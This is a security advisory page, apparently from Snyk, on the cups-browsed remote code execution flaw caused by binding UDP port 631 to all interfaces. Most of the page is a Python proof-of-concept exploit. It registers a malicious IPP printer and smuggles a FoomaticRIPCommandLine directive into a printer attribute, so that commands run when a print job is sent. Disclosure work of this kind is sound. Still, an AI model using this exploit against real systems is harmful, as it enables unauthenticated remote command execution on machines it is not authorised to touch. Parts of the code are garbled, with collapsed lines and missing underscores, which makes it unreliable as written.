Binding to an Unrestricted IP Address Affecting OpenPrinting/cups-browsed package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Social Trends
    Exploit Maturity
    Proof of concept
    EPSS
    0.06% (28th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-OPENPRINTINGCUPSBROWSED-8102331
  • published 27 Sep 2024
  • disclosed 26 Sep 2024
  • credit Simone Margaritelli

How to fix?

There is no fixed version for OpenPrinting/cups-browsed.

Overview

Affected versions of this package are vulnerable to Binding to an Unrestricted IP Address due to the service binding to *:631 ( INADDR_ANY ) that allows anybody to send UDP datagrams to it. An attacker can execute arbitrary commands remotely on the target machine without authentication by introducing a malicious printer to the system. When a job is sent to that printer the malicious code will be executed via a CUPS filter with the payload defined in the FoomaticRIPCommandLine PPD parameter.

Note:

This is only exploitable if CUPS services are enabled and exposed over the network.

Workaround

Apply the workaround patch where the default BrowseRemoteProtocols should not include "cups" protocol. A later complete fix will be complete removal of CUPS Browsing functionality.

Note: This vulnerability is being investigated and the advisory is being updated as new information is discovered.

PoC

Using the ippserver package, run as exploit.py ATTACKER_EXTERNAL_IP TARGET_IP, will create the /tmp/I_AM_VULNERABLE file on the target machine when a print job is started:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer import ippserver.behaviour as behaviour from ippserver.server import IPPRequestHandler from ippserver.constants import ( OperationEnum, StatusCodeEnum, SectionEnum, TagEnum ) from ippserver.parsers import Integer, Enum, Boolean from ippserver.request import IppRequest

class MaliciousPrinter(behaviour.StatelessPrinter): def init(self, command): self.command = command super(MaliciousPrinter, self).init()

def printer_list_attributes(self):
    attr = {
        # rfc2911 section 4.4
        (
            SectionEnum.printer,
            b'printer-uri-supported',
            TagEnum.uri
        ): [self.printer_uri],
        (
            SectionEnum.printer,
            b'uri-authentication-supported',
            TagEnum.keyword
        ): [b'none'],
        (
            SectionEnum.printer,
            b'uri-security-supported',
            TagEnum.keyword
        ): [b'none'],
        (
            SectionEnum.printer,
            b'printer-name',
            TagEnum.name_without_language
        ): [b'Main Printer'],
        (
            SectionEnum.printer,
            b'printer-info',
            TagEnum.text_without_language
        ): [b'Main Printer Info'],
        (
            SectionEnum.printer,
            b'printer-make-and-model',
            TagEnum.text_without_language
        ): [b'HP 0.00'],
        (
            SectionEnum.printer,
            b'printer-state',
            TagEnum.enum
        ): [Enum(3).bytes()],  # XXX 3 is idle
        (
            SectionEnum.printer,
            b'printer-state-reasons',
            TagEnum.keyword
        ): [b'none'],
        (
            SectionEnum.printer,
            b'ipp-versions-supported',
            TagEnum.keyword
        ): [b'1.1'],
        (
            SectionEnum.printer,
            b'operations-supported',
            TagEnum.enum
        ): [
            Enum(x).bytes()
            for x in (
                OperationEnum.print_job,  # (required by cups)
                OperationEnum.validate_job,  # (required by cups)
                OperationEnum.cancel_job,  # (required by cups)
                OperationEnum.get_job_attributes,  # (required by cups)
                OperationEnum.get_printer_attributes,
            )],
        (
            SectionEnum.printer,
            b'multiple-document-jobs-supported',
            TagEnum.boolean
        ): [Boolean(False).bytes()],
        (
            SectionEnum.printer,
            b'charset-configured',
            TagEnum.charset
        ): [b'utf-8'],
        (
            SectionEnum.printer,
            b'charset-supported',
            TagEnum.charset
        ): [b'utf-8'],
        (
            SectionEnum.printer,
            b'natural-language-configured',
            TagEnum.natural_language
        ): [b'en'],
        (
            SectionEnum.printer,
            b'generated-natural-language-supported',
            TagEnum.natural_language
        ): [b'en'],
        (
            SectionEnum.printer,
            b'document-format-default',
            TagEnum.mime_media_type
        ): [b'application/pdf'],
        (
            SectionEnum.printer,
            b'document-format-supported',
            TagEnum.mime_media_type
        ): [b'application/pdf'],
        (
            SectionEnum.printer,
            b'printer-is-accepting-jobs',
            TagEnum.boolean
        ): [Boolean(True).bytes()],
        (
            SectionEnum.printer,
            b'queued-job-count',
            TagEnum.integer
        ): [Integer(666).bytes()],
        (
            SectionEnum.printer,
            b'pdl-override-supported',
            TagEnum.keyword
        ): [b'not-attempted'],
        (
            SectionEnum.printer,
            b'printer-up-time',
            TagEnum.integer
        ): [Integer(self.printer_uptime()).bytes()],
        (
            SectionEnum.printer,
            b'compression-supported',
            TagEnum.keyword
        ): [b'none'],
        (
            SectionEnum.printer,
            b'printer-privacy-policy-uri',
            TagEnum.uri
        ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
            self.command.encode() +
            b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

    }
    attr.update(super().minimal_attributes())
    return attr

def ](self, req, _psfile):
    print("target connected, sending payload ...")
    attributes = self.printer_list_attributes()
    return IppRequest(
        self.version,
        StatusCodeEnum.ok,
        req.request_id,
        attributes)

def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port): print("sending udp packet to %s:%d ..." % (ip, port))

printer_type = 0x00
printer_state = 0x03
printer_uri = 'http://%s:%d/printers/NAME' % (
    ipp_server_host, ipp_server_port)
printer_location = 'Office HQ'
printer_info = 'Printer'

message = bytes('%x %x %s "%s" "%s"' %
                (printer_type,
                 printer_state,
                 printer_uri,
                 printer_location,
                 printer_info), 'UTF-8')

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(message, (ip, port))

def wait_until_ctrl_c(): try: while True: time.sleep(300) except KeyboardInterrupt: return

def run_server(server): print('malicious ipp server listening on ', server.server_address) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() wait_until_ctrl_c() server.shutdown()

if name == "main": if len(sys.argv) != 3: print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0]) quit()

SERVER_HOST = sys.argv[1]
SERVER_PORT = 12345

command = &quot;echo 1 &gt; /tmp/I_AM_VULNERABLE&quot;

server = IPPServer((SERVER_HOST, SERVER_PORT),
                   IPPRequestHandler, MaliciousPrinter(command))

threading.Thread(
    target=run_server,
    args=(server, )
).start()

TARGET_HOST = sys.argv[2]
TARGET_PORT = 631
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

print(&quot;wating ...&quot;)

while True:
    time.sleep(1.0)

Then send a print job to the new printer in the target machine.

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    Present
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Passive
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    High
  • Integrity (SI)
    High
  • Availability (SA)
    High
Expand this section

Snyk

9 critical